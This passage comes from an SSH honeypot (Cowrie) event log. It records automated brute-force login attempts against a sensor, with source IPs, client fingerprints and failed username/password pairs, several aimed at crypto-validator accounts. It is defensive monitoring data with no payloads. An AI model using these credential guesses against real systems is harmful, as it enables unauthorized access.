-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:08:49.028913Z","src_ip":"2.57.122.96","session":"04cf4743395f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"staking","message":"login attempt [ubuntu/staking] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:08:49.410576Z","src_ip":"2.57.122.96","session":"04cf4743395f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:08:50.552294Z","src_ip":"2.57.122.96","session":"04cf4743395f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":35666,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7106640e98e","protocol":"ssh","message":"New connection: 195.178.110.218:35666 (159.203.135.109:22) [session: a7106640e98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:09.618448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:09.622356Z","src_ip":"195.178.110.218","session":"a7106640e98e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:09.701087Z","src_ip":"195.178.110.218","session":"a7106640e98e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:09.938948Z","src_ip":"195.178.110.218","session":"a7106640e98e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:11.020659Z","src_ip":"195.178.110.218","session":"a7106640e98e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":51772,"dst_ip":"159.203.135.109","dst_port":22,"session":"b01538de5ffe","protocol":"ssh","message":"New connection: 193.32.162.145:51772 (159.203.135.109:22) [session: b01538de5ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:33.014917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:33.037472Z","src_ip":"193.32.162.145","session":"b01538de5ffe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:33.124252Z","src_ip":"193.32.162.145","session":"b01538de5ffe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"solana","message":"login attempt [jito/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:34.043409Z","src_ip":"193.32.162.145","session":"b01538de5ffe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:09:35.171607Z","src_ip":"193.32.162.145","session":"b01538de5ffe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":54524,"dst_ip":"159.203.135.109","dst_port":22,"session":"63d04a2699ca","protocol":"ssh","message":"New connection: 154.221.28.214:54524 (159.203.135.109:22) [session: 63d04a2699ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:10:09.439823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:10:09.444372Z","src_ip":"154.221.28.214","session":"63d04a2699ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:10:09.649883Z","src_ip":"154.221.28.214","session":"63d04a2699ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohamed","password":"Mohamed123","message":"login attempt [mohamed/Mohamed123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:10:10.508596Z","src_ip":"154.221.28.214","session":"63d04a2699ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:10:11.716532Z","src_ip":"154.221.28.214","session":"63d04a2699ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42804,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab4f9ad49910","protocol":"ssh","message":"New connection: 193.32.162.145:42804 (159.203.135.109:22) [session: ab4f9ad49910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:40.002831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:40.007430Z","src_ip":"193.32.162.145","session":"ab4f9ad49910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:40.107340Z","src_ip":"193.32.162.145","session":"ab4f9ad49910","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jito","password":"jito","message":"login attempt [jito/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:40.410216Z","src_ip":"193.32.162.145","session":"ab4f9ad49910","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":32988,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3fa2ae1cdfc","protocol":"ssh","message":"New connection: 2.57.122.96:32988 (159.203.135.109:22) [session: b3fa2ae1cdfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:41.514940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:41.519038Z","src_ip":"2.57.122.96","session":"b3fa2ae1cdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:41.523014Z","src_ip":"193.32.162.145","session":"ab4f9ad49910","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:41.624182Z","src_ip":"2.57.122.96","session":"b3fa2ae1cdfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"validator","message":"login attempt [ubuntu/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:42.003463Z","src_ip":"2.57.122.96","session":"b3fa2ae1cdfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:43.109136Z","src_ip":"2.57.122.96","session":"b3fa2ae1cdfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":42468,"dst_ip":"159.203.135.109","dst_port":22,"session":"c89fa8c2898f","protocol":"ssh","message":"New connection: 195.178.110.218:42468 (159.203.135.109:22) [session: c89fa8c2898f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:44.651452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:44.656020Z","src_ip":"195.178.110.218","session":"c89fa8c2898f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:44.735163Z","src_ip":"195.178.110.218","session":"c89fa8c2898f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:44.971971Z","src_ip":"195.178.110.218","session":"c89fa8c2898f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:11:46.052583Z","src_ip":"195.178.110.218","session":"c89fa8c2898f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.63.205","src_port":37512,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9154e0732eb","protocol":"ssh","message":"New connection: 196.188.63.205:37512 (159.203.135.109:22) [session: c9154e0732eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:04.507126Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:04.512352Z","src_ip":"196.188.63.205","session":"c9154e0732eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:04.721174Z","src_ip":"196.188.63.205","session":"c9154e0732eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"praveen","password":"12345","message":"login attempt [praveen/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:05.586887Z","src_ip":"196.188.63.205","session":"c9154e0732eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:06.797882Z","src_ip":"196.188.63.205","session":"c9154e0732eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.221.28.214","src_port":46100,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0c50dfce89a","protocol":"ssh","message":"New connection: 154.221.28.214:46100 (159.203.135.109:22) [session: f0c50dfce89a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:21.615283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:21.620329Z","src_ip":"154.221.28.214","session":"f0c50dfce89a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:21.821236Z","src_ip":"154.221.28.214","session":"f0c50dfce89a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"franco","password":"franco@123456","message":"login attempt [franco/franco@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:22.658907Z","src_ip":"154.221.28.214","session":"f0c50dfce89a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:23.865832Z","src_ip":"154.221.28.214","session":"f0c50dfce89a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":58600,"dst_ip":"10.17.0.5","dst_port":22,"session":"89067c8dfad1","protocol":"ssh","message":"New connection: 2.57.121.112:58600 (10.17.0.5:22) [session: 89067c8dfad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T09:12:43.039900Z"}
